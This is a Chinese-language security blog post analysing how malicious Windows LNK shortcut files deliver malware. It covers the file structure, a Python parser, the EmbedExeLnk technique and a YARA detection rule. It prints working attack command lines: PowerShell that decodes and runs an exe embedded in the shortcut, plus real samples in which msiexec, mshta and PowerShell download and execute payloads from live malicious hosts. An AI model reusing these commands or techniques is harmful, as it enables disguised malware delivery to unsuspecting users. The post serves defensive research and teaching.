前言 #
在今年(2025)的資安大會中,
聆聽了一場有關 LNK 文件是如何作為惡意軟體攻擊媒介的議程,
這場議程引發了我對於這部分的研究興趣,
也促使我開始深入研究 LNK 的相關內容。
透過本文章,你將了解惡意軟體為何以及如何利用 LNK file 作為一階段的攻擊跳板,
進一步了解 Embedexelnk 的攻擊手法,並說明如何預防此類威脅,
而最後也會提供一些可行的預防建議與防護策略方向。
另外,我也有在研究時隨手紀錄 hackmd,
也歡迎一併查看。
https://hackmd.io/@betan/HJhUTwmkge
概念 #
WHAT & WHY LNK #
首先我們要先了解 LNK 檔案到底為何,
LNK 檔案簡單來講就是我們常在桌面使用的連結,
用於快速打開其他存放在電腦其他地方的檔案,
正常的使用是這樣的。
那為什麼駭客會使用 LNK 檔案當作第一階段的攻擊跳板呢?
我認為主要原因有以下幾點,
1. 正常介面中看不到副檔名 (.lnk)
在一般使用者介面中,若有在檔案總管中開啟「顯示副檔名」的功能,
則會顯示出各類型檔案的副檔名,例如 .exe
, .jpg
, .png
之類的檔案類型,
但在 LNK 檔案中,並不會顯示出副檔名為.lnk
,
除非是在 cmd 中使用 dir 之類的功能才會顯示出 .lnk
。
2. Icon、 名稱、 描述都可以自訂
如前面所提到的,由於不會顯示出副檔名,
也因此檔案名稱就能起到很好的混淆,
並且 LNK 檔的圖示(Icon)也能任意自訂,
例如直接使用系統原生的圖示,又或是自己建立一個 .ico 的圖片來當作圖示,
更甚至連描述都可以自訂為想要的內容,
在正常連結中,當你把滑鼠放在該連結上,
則會顯示出該連結最終指向的目標,例如 cmd.exe
、 discord.exe
,
但我們透過自訂描述,則可以任意修改該效果,
變成讓它顯示出自訂的內容。
例如透過將 LNK 檔案改名為 notepad.exe
,
並且修改 LNK 檔案的 Icon 為 notepad 的 Icon,
最後再修改整體描述為一個正常的檔案描述,
便能輕易偽裝成正常檔案。
3. 好撰寫
這部分其實有點見仁見智(?),
但對我這個開發能力滿爛的人,
都能滿輕易理解整體結構並且撰寫出類似的 LNK 檔,
大概就能說明這上手難度有多低了。
手法 #
通常會將惡意連接的名稱以及圖示改建成跟受害者相關的內容,
例如 財報.xlsx
, 五月行事曆.pdf
等內容會誘使他人點擊的內容,
若是受害者就直接點開了,則就會開始執行惡意行為了。
大多使用 LOLBins(Living Off the Land Binaries) 來執行攻擊,
例如 cmd
, powershell
, winrm
, mshta
等內建工具,
並且由於是透過呼叫本機就有的程式,
因此也較不容易被偵測到惡意行為。
可透過填充大量空格,使查看內容時只能看到一堆空白,
在查看詳細內容中的目標欄位,最多只能顯示出259個字元(包含空格),
因此若將惡意 payload 寫在超出的範圍後,
除非使用工具否則是不能查看該完整行為何的。
檢視如下圖,可以看到在目標的欄位全部內容都是空白,
這就是因為我們填充了大量的空格因此只能查看到空白。
LNK 結構 #
LNK 檔案的結構如下,
Header –> TargetIDList(optional) –> LinkInfo(optional) –> StringData(optional) –> ExtraData(optional)
這邊由於篇幅原因不全部介紹,
只簡單介紹 Header
與 TargetIDList
的大致內容,
若想了解其餘更詳細的部分,歡迎查看微軟官方撰寫的 LNK 結構介紹。
[MS-SHLLINK]: Shell Link (.LNK) Binary File Format
Header
Header 為所有 LNK 檔中的標準開頭格式,長度為 76 bytes, 在檔案的開頭都須按照這個固定格式來撰寫,否則將無法正常打開。其中需特別注意 LinkFlags
的部分,
該內容會決定到後續是否有 TargetIDList
, LinkInfo
等結構。
項目 | bytes | 內容 |
---|---|---|
HeaderSize | 4 | 固定0x0000004C |
LinkCLSID | 16 | 固定0x00021401-0000-0000-C000-000000000046 |
LinkFlags | 4 | 定義後續結構 |
FileAttributes | 4 | 說明目標文件狀態 |
CreationTime | 8 | 就是時間 |
AccessTime | 8 | 就是時間 |
WriteTime | 8 | 就是時間 |
FileSize | 4 | 路徑目標大小 |
IconIndex | 4 | LNK ICON(通常為0) |
ShowCommand | 4 | 設定目標如何啟動(內容固定為0x1, 0x3, 0x7) |
HotKey | 2 | 開啟捷徑快捷鍵(注1) |
Reserved1 | 2 | 保留字元,必為0 |
Reserved2 | 4 | 保留字元,必為0 |
Reserved3 | 4 | 保留字元,必為0 |
注1:
HotKey是我認為一個還滿酷的功能,
該功能須將連結放置在桌面上才能生效,
LowByte (前1 byte)為鍵盤按鍵(例如A,B,C…) 、HighByte (後1 byte) 為 控制按鍵(ctrl, shift, alt),
假設設定成0x4301,代表同時按下 shift + B 即可開啟該 LNK 檔,
且不論在哪個視窗按下都能開啟。
因此如果將該熱鍵設定成 Ctrl
+ A
的話,
就等於你每次使用全選功能時都會開啟該連結。
TargetIDList
需在 LinkFlags
定義有 HasTargetIDList
才會有該項目,
接續在 Header
後, 前 2 bytes 為整個 TargetIDList
長度,
再來的內容都是不斷重複 長度(2 bytes)、內容(根據前面定義的長度),
直到最後跑完整個先前定義的長度。
例如範例中的 0x00E7
(由於 little endian 所以要倒著看)代表整個 TargetIDList
的長度為 0xE7,
而接下來的 0x14
則表示了 item 1 的整個長度為 0x14 bytes (包含定義長度的 2 bytes ),
0x4E ~ 0x61 即為 item 1 的完整內容,
而剩下的item也都是同樣格式,一直到跑完整個 TargetIDList
的長度。
而我們透過了解整個 LNK 的結構後,
就能夠去撰寫一個簡易的 python 來去讀取整個 LNK file 的結構。
以下程式碼只簡單讀取了 LinkFlags
與 TargetIDList
內容。
展開程式碼
def LinkFlags(num):
flags = [
(0, 'HasLinkTargetIDList'),
(1, 'HasLinkInfo'),
(2, 'HasName'),
(3, 'HasRelativePath'),
(4, 'HasWorkingDir'),
(5, 'HasArguments'),
(6, 'HasIconLocation'),
(7, 'IsUnicode'),
(8, 'ForceNoLinkInfo'),
(9, 'HasExpString'),
(10, 'RunInSeparateProcess'),
(11, 'Unused1'),
(12, 'HasDarwinID'),
(13, 'RunAsUser'),
(14, 'HasExpIcon'),
(15, 'NoPidlAlias'),
(16 , 'Unused2'),
(17, 'RunWithShimLayer'),
(18, 'ForceNoLinkTrack'),
(19, 'EnableTargetMetadata'),
(20, 'DisableLinkPathTracking'),
(21, 'DisableKnownFolderTracking'),
(22, 'DisableKnownFolderAlias'),
(23, 'AllowLinkToLink'),
(24, 'UnaliasOnSave'),
(25, 'PreferEnvironmentPath'),
(26, 'KeepLocalIDListForUNCTarget'),
]
enabled = []
for bit, name in flags:
if (num >> bit) & 1:
enabled.append(name)
return enabled
def FileAttributesFlags(num):
flags = [
(0, 'FILE_ATTRIBUTE_READONLY'),
(1, 'FILE_ATTRIBUTE_HIDDEN'),
(2, 'FILE_ATTRIBUTE_SYSTEM'),
(3, 'Reserved1'),
(4, 'FILE_ATTRIBUTE_DIRECTORY'),
(5, 'FILE_ATTRIBUTE_ARCHIVE'),
(6, 'Reserved2'),
(7, 'FILE_ATTRIBUTE_NORMAL'),
(8, 'FILE_ATTRIBUTE_TEMPORARY'),
(9, 'FILE_ATTRIBUTE_SPARSE_FILE'),
(10, 'FILE_ATTRIBUTE_REPARSE_POINT'),
(11, 'FILE_ATTRIBUTE_COMPRESSED'),
(12, 'FILE_ATTRIBUTE_OFFLINE'),
(13, 'FILE_ATTRIBUTE_NOT_CONTENT_INDEXED'),
(14, 'FILE_ATTRIBUTE_ENCRYPTED')
]
enabled = []
for bit, name in flags:
if (num >> bit) & 1:
enabled.append(name)
return enabled
def rev(bt):
# little endian 換 big endian
bytes_data = bytes.fromhex(bt)
reordered = bytes_data[::-1] # 反轉
linkflags_int = int.from_bytes(reordered, byteorder='big')
return linkflags_int
def read_lnk_structure(data):
structure = {}
# 檢查開頭的 20 bytes (HeaderSize)
header_size = data[:20]
if header_size == b'\x4C\x00\x00\x00\x01\x14\x02\x00\x00\x00\x00\x00\xc0\x00\x00\x00\x00\x00\x00\x46':
structure['HeaderSize_Valid'] = True
else:
print('Wrong file! NOT LNK file')
return '-1'
# LinkFlags (4 bytes)
link_flags = data[20:24]
structure['LinkFlags'] = LinkFlags(rev(link_flags.hex()))
# FileAttributesFlags (4 bytes)
File_Attributes_Flags = data[24:28]
structure['FileAttributesFlags'] = FileAttributesFlags(rev(File_Attributes_Flags.hex()))
# HotKey (2 bytes)
Hot_Key = data[0x40:0x42]
if (Hot_Key == b'\x00\x00'):
structure['HotKey'] = 'NO'
else:
key =''
if data[0x41] & 0x01:
key+=('SHIFT ')
if data[0x41] & 0x02:
key+=('CTRL ')
if data[0x41] & 0x04:
key+=('ALT ')
structure['HotKey'] = chr(data[0x40]) , key
return structure
def check_item(data,num,ed):
item = []
ed-=2
while ed != 0:
size = rev(data[num:num+2].hex())
ed -= size
item.append(data[num:num+size])
num = num+size
return item
def LinkTargetIDList(data):
size = rev(data [76:78].hex())
item =check_item(data,78,size)
for idx, content in enumerate(item, start=1):
hex_string = ''.join(f'\\x{b:02x}' for b in content)
print(f"item {idx}: {hex_string}")
return 78+size
def HasLinkInfo(data):
print('test')
return 1
if __name__ == "__main__":
lnk_path = "Your path"
with open(lnk_path, 'rb') as f:
data = f.read()
result = read_lnk_structure(data)
for k, v in result.items():
print(f"{k}: {v}")
if 'HasLinkTargetIDList' in (result['LinkFlags']):
print('--- has TargetIDList ---')
now = LinkTargetIDList(data)
print(now)
if 'HasLinkInfo' in (result['LinkFlags']):
print('--- has HasLinkInfo ---')
HasLinkInfo(data)
print(now)
EmbedExeLnk #
本內容參考由 d4rkiZ
改良過後的 EmbedExeLnk 技巧。
EmbedExeLnk by x86matthew modified by d4rkiZ
概念 #
由於 LNK 檔對於結構的檢查並沒有很嚴苛,
因此我們可以塞任意內容到 LNK 檔的末端都不會影響到檔案的開啟。
而這個攻擊手段就是透過內嵌 exe 檔到 LNK 檔的末尾中,
以達到不需要到 C2 下載檔案就能執行惡意程式的操作,
但也並非只有 exe 檔才可以使用此技巧,
基本上任何格式的內容都可以嵌到 LNK 檔的末端。
LinkFlags 內容 #
這邊先查看一下他在 LinkFlags
中使用了那些項目以及功能為何。
- LinkFlags
- HasName (用於新增描述)
- saved with a name string, NAME_STRING StringData structure must be present
- HasArguments (使用環境變數)
- has command line arguments,COMMAND_LINE_ARGUMENTS StringData structure must be present
- HasIconLocation (自訂 Icon)
- ICON_LOCATION StringData structure MUST be present
- IsUnicode
- StringData contains Unicode-encoded strings
- HasExpString
- 有環境變數內容,需再EnvironmentVariableDataBlock設定
- PreferEnvironmentPath
- 沒有ID list,用環境變數替代
- The target IDList SHOULD NOT be stored; instead, the path specified in the EnvironmentVariableDataBlock (section 2.5.4) SHOULD be used to refer to the target.
- HasName (用於新增描述)
不使用常見的TargetIDList ,而是透過 PreferEnvironmentPath
將內容丟到 ExtraData
Command line arguments #
透過先開啟 Google Chrome 內建的弱密碼本,
來欺騙被害者以為開啟的是正常 txt 文件,
而後透過先遍歷整個當前目錄的所有 lnk 檔案,來找到此惡意 LNK,
接著讀取 LNK 中最末端加密後的 exe 檔內容,解密並存放到 tmp 檔中,
最後就是執行該 exe 檔。
/c start notepad C:\\%%HOMEPATH%%\\AppData\\Local\\Google\\Chrome\\User Data\\ZxcvbnData\\3\\passwords.txt &&
powershell -windowstyle hidden
$lnkpath = Get-ChildItem *.lnk ^| where-object {$_.length -eq 0x00000000} ^| Select-Object -ExpandProperty Name;
$file = gc $lnkpath -Encoding Byte;
for($i=0; $i -lt $file.count; $i++) { $file[$i] = $file[$i] -bxor 0x%02X };
$path = '%%temp%%\\tmp' + (Get-Random) + '.exe';
sc $path ([byte[]]($file ^| select -Skip 000000)) -Encoding Byte; ^& $path;
我們在執行該 lnk 檔後,可以看到就開啟了弱密碼 txt 本,
以及也運行了我撰寫的一個簡單 MessageBox exe file,
就這樣收到了一份洗劫獅送來的傳票了。
結構分析 #
我們從程式碼來看,可以看到其中定義的結構如下,
header –> description_length –> description –> CommandLineArguments –> IconLocationLength –> IconLocation –> EnvironmentVariableDataBlock –> ExeFile
其中 description
, CommandLineArguments
, IconLocation
位於 StringData
中,
EnvironmentVariableDataBlock
則是位於 ExtraData
中。
-
Header (0 ~ 4B bytes)
- 結構就如 前面 所提及,這邊就不過多贅述。
- 由於大多數結構都不影響 LNK 檔, 因此這邊就將其餘數值都填 0。
-
-
StringData - NAME_STRING (4C ~ CF bytes)
- 解釋一下長度, 0x41 = 65 ,然後我們需要將長度 * 2 才會是後續內容的長度,因此 65 * 2 = 130 , 後續內容從 4E ~ D0 的長度就剛好是130
-
-
StringData - COMMAND_LINE_ARGUMENTS (D0 ~ 885 bytes)
-
-
StringData - ICON_LOCATION (886 ~ 8C1 bytes)
-
-
ExtraData - ENVIRONMENT_PROPS (8C2 ~ BD6 bytes)
-
-
exe file (BD6 ~ FDD6 bytes)
- xor 0x77 後的內容,這邊就不過多贅述
-
實例 #
這邊將分析五個實際的樣本,其中三個為議程中提及到的樣本,
剩下一個是野外的 LNK 惡意程式,最後一個則是使用了 Embedexelnk 的技巧。
本次研究主要是研究 LNK 的惡意行為,
因此沒有再對後續的惡意程式進行更進一步的分析。
PuppetFox, RolandSkimmer, Confucius #
由於本部分都沒有下載到原始樣本,
因此這邊我只能透過去 VirusTotal 進行查詢,
但幸運的是,在 VT 中就能查看詳細的 LNK 指向目標內容了!
由於在 VT 中會自動將過長的內容後續省略為 …
但我們能透過直接對該項目透過開啟 F12
來查看完整內容,
又或是也能在 BEHAVIOR
中的 Processes created
看到完整進程。
Bro 以為自己在打 CTF 找 Flag
Hash 值:
- PuppetFox
- 3d8db6e02bd11a4366b02bfb94593ff410d183a94134933121c806a5f175f8a3
- RolandSkimmer
- 86fedcd08d32eeff8a4caa9c2d4ae65b6cea89698570e8ce172a4e82c7f296f1
- Confucius
- 4206ab93ac9781c8367d8675292193625573c2aaacf8feeaddd5b0cc9136d2d1
PuppetFox
透過 Windows 內建的工具 Winrm
來執行惡意行為,
先透過 cmd
開啟 winrm
,並透過 /c
來讓 cmd
在執行後關閉,
start
使用最小化( /min )、不開啟新視窗( /B )來啟動 winrm
,
msiexec
使用不顯示任何對話框或 UI( /q, /qn ),來安裝( /i )後續的 msi檔
。
因此推測該 C2 server 內容應該就是一個惡意的 msi 檔。
在 cmd
中輸入 msiexec /?
, start /?
, cmd /?
可查看所有相關 /
指令應用。
Command line arguments:
cmd.exe /c ""C:\Windows\System32\winrm.cmd" &
start /min /b msiexec&&
start /min /B msiexec /q /i http://154.201.83.175:3989/@ /qn"
RolandSkimmer
透過 mshta.exe
來執行後續惡意 VBScript 腳本,
透過 createobject 建立一個 mi1
物件,
接著透過該物件向 C2 發送 GET 請求,
並替換收到的回應中的 #
改為隨機數並執行,
回應的部分應該就是具體的惡意行為了。
而我們能發現到它有定義一個隨機數的部分,
透過查看 VT 可以在 Contacted URLs
中發現到有許多的 URL,
大多都只是 V 值不同,
因此推測收到的回應內容應該就包含這部分V=#
。
Command line arguments:
"C:\wINdOwS\SySTeM32\MsHTa.eXe"
vbscript:execute("set mi1=createobject(""msxml2.serverxmlhttp.6.0""):
mi1.open ""get"",""http://invsetmx.com/ipa.aspx"",false:
mi1.send():
randomize:
r=int(rnd*99999):
execute(replace(mi1.responsetext,""#"", r)):")
(WiNdOW.ClOsE)
Confucius
先將本機合法程式 fixmapi.exe
複製到 AppData\Local\BlueAle.exe
,
接著執行混淆過後的指令,解混淆後可以得出下列內容,
可以看到去 C2 下載一個 dll,然後再下載一個 file.pdf
儲存在 tmp
資料夾,
最後則是去開啟該 pdf,然後睡五秒後去執行 BlueAle.exe
,
這邊使用到了 dll sideloading
的技巧來運行惡意 dll。
Command line arguments:
"powershell.exe" -C
"$pa=$env:LocalAppData;
$c=$pa+'\BlueAle.exe';
Copy C:\Windows\System32\fixmapi.exe $c;
437,455,452,446,370,383,449,370,378,374,450,435,370,381,370,377,430,447,435,450,443,453,454,455,436,384,438,446,446,377,379,370,372,442,454,454,450,453,396,385,385,450,439,454,452,443,437,441,452,439,439,448,384,443,448,440,449,385,420,418,426,408,406,389,394,425,403,418,420,393,384,452,445,449,372,397,374,444,399,374,439,448,456,396,422,415,418,370,381,370,377,430,440,443,446,439,384,450,438,440,377,397,370,437,455,452,446,370,383,449,370,374,444,370,372,442,454,454,450,453,396,385,385,450,439,454,452,443,437,441,452,439,439,448,384,443,448,440,449,385,404,425,416,395,428,403,418,384,452,445,449,372,397|%{$x+=[char]($_-338)};
$x|IEX;
start $j;
Start-Sleep -Seconds 5;
start $c"
解混淆中間的內容:
curl -o ($pa + '\mapistub.dll') "https://petricgreen.info/RPXFD38WAPR7.rko";
$j=$env:TMP + '\file.pdf';
curl -o $j "https://petricgreen.info/BWN9ZAP.rko";
Scanned-Doc-t00778886867-QUO.LNK #
在這個案例中比較值得一提的是,
並非使用常見的 C2 來存放惡意軟體,
而是透過雲託管服務來存放惡意軟體,
在資安大會的其他場議程中也有提及到,
現在這種使用第三方免費服務的攻擊越來越多,
而且也能在進行完攻擊後就刪除,使研究員難以查詢。
而我也有找到一些該 LNK 的變體,
可以發現到他唯一的差別都只有使用不同的雲託管服務,
其他的不論是檔案名稱或是攻擊內容則都是相同的。
Command line arguments:
powershell -WindowStyle hidden
-Command
(new-object System.Net.WebClient).DownloadFile(''https://link.storjshare.io/raw/jvkur67ttk7yuzdriwaa3ufnlwra/my-newupload/newfile.txt'',''C:\\ProgramData\\HEW.GIF'');
$file = ''C:\\ProgramData\\HEW.GIF'';
[System.Convert]::FromBase64String((Get-Content $file)) | Set-Content C:\\ProgramData\\CHROME.PIF -Encoding Byte;
start C:\\ProgramData\\CHROME.PIF;'
Hash:
- Scanned-Doc-t00778886867-QUO.LNK
- 3107d53f9e37c496f08e3742c379976a80f7297c192aba5b8eb7c5f29af18f33
Embedziplnk #
在連結中嵌入 zip
而非先前提及到的 exe
,
但整體邏輯仍一樣。
一樣遍歷當前目錄的所有檔案找出該 lnk
檔,
然後把 zip
存放到 tmp
中,解壓縮並執行其中的惡意軟體。
去查看該檔案的十六進制格式,透過觀察末端內容的 Header ,
發現他就是正常 zip file 的 header,並沒有做加密之類的,
而我們簡單寫一個提取腳本出來,
發現末端就真的是 zip 檔案,解壓縮後也有後續攻擊提到的 5.9.82.114.exe
。
Command line arguments:
powershell -windowstyle hidden
$jhelpfule=[system.io.file]::ReadAllBytes((dir *.lnk ^| ? {$_.length -ge 00202000} ^| select -ExpandProperty FullName));
$oprototypez = ''%LOCALAPPDATA%\tmp'' + (Get-Random) + ''.zip'';
$oprototypez = [Environment]::ExpandEnvironmentVariables($oprototypez);
$vplanz = [System.IO.Path]::GetDirectoryName($oprototypez);
[System.IO.File]::WriteAllBytes($oprototypez, $jhelpfule[ 3478..($jhelpfule.length)]);
cd $vplanz;Expand-Archive
$oprototypez . -EA 0 -Force ^| Out-Null;
del $oprototypez -EA 0 -Force ^| Out-Null;
^& .\5.9.82.114.exe'
Hash:
- [Embedexelnk] Court order No.RY4577-71 (mandatory to comply
- 4a07b3fbfd385f067e892a385d63667ba9a6d89f9d49f3736de84c94282e28e5
預防與防治 #
我們透過去學習了 LNK file 的結構,
以及上述的實例分析,
多少能找到一些惡意連結的特徵,
因此以下是一些我認為能夠作為實際預防手段的方向。
結構 #
看到這裡,我們已經學習到了基本的 LNK file 的結構,
並且也進行了一些實例分析後,
我們也大致能從這些案例分析中找到一些規律,
也因此就能夠去根據這部分的概念來撰寫例如 yara rule
或是其他檢測工具的偵測機制。
例如我們在上述學習 Embedexelnk
的時候可以發現他都有 PreferEnvironmentPath
的內容,
因此我們就能寫一個條件是,在 LinkFlags
中存在 PreferEnvironmentPath
就可以標記為可疑之類的。
yara rule 簡單範例:
rule LNK_PreferEnvironmentPath {
condition:
(uint32(0x14) & 0x00002000) != 0
}
當然也不是限定說只有這一個項目,但剩下的就歡迎各位去自己研究後再來判讀了。
又或是我們也能使用機器學習的方式來辦別,
例如透過檢測 LNK 檔中 LinkFlags
中的所有項目,用來建立一個項目表之類的,
再丟給模型去訓練讓他判讀,
這部分未來如果有機會的話我應該會去實作,
又或是你有其他想法或是想一起製作的話也能來 DM 我一起討論之類的。
系統 #
這部分主要是我認為現行的 LNK 檔該如何預防,
以及對於未來系統建議的改良方向…?
我們可以透過檔案總管查看項目類型,在項目類型會明確顯示出 捷徑
,
這大概會是比較明確指出這是 LNK 檔的最大跡象,
所以如果真的是需要去開啟一些奇怪檔案的時候,
建議可以在檔案總管處先去詳細確認一下檔案類型。
而 LNK 檔還有一大特徵就是他的 Icon 左下角有一個箭頭符號,
雖然有顯示,但不多,畢竟現在人均老花(X
而且大多人也不會去特別查看 Icon 的角落之類的,
因此我認為直接放大那個箭頭,又或是新增其他能夠區別 Icon 的方式。
最後則是新增顯示 .lnk
字尾,雖然並非所有使用者都會開啟顯示副檔名,
但我認為如果能直接顯示出 .lnk
結尾的話多少也能起到一些防護功能。
總結 #
這種透過 LNK 檔的攻擊手段在很早之前就出現過了,
我認為除非微軟有打算大改他們的系統,
否則這種類型的攻擊在未來也仍然會十分常見,
因此養成一個不要亂點奇怪檔案的習慣才是一個正確的網路公民喔!
笑死 這甚麼超爛的小學作文結尾,
感謝所有願意看到這裡的人,
我知道我文章排版滿醜的><
有任何疑問或是建議都可以和我說。
至此,藝術已成
參考來源 #
How to use Shortcut LNK Files on Windows - Malware Delivery Initial Access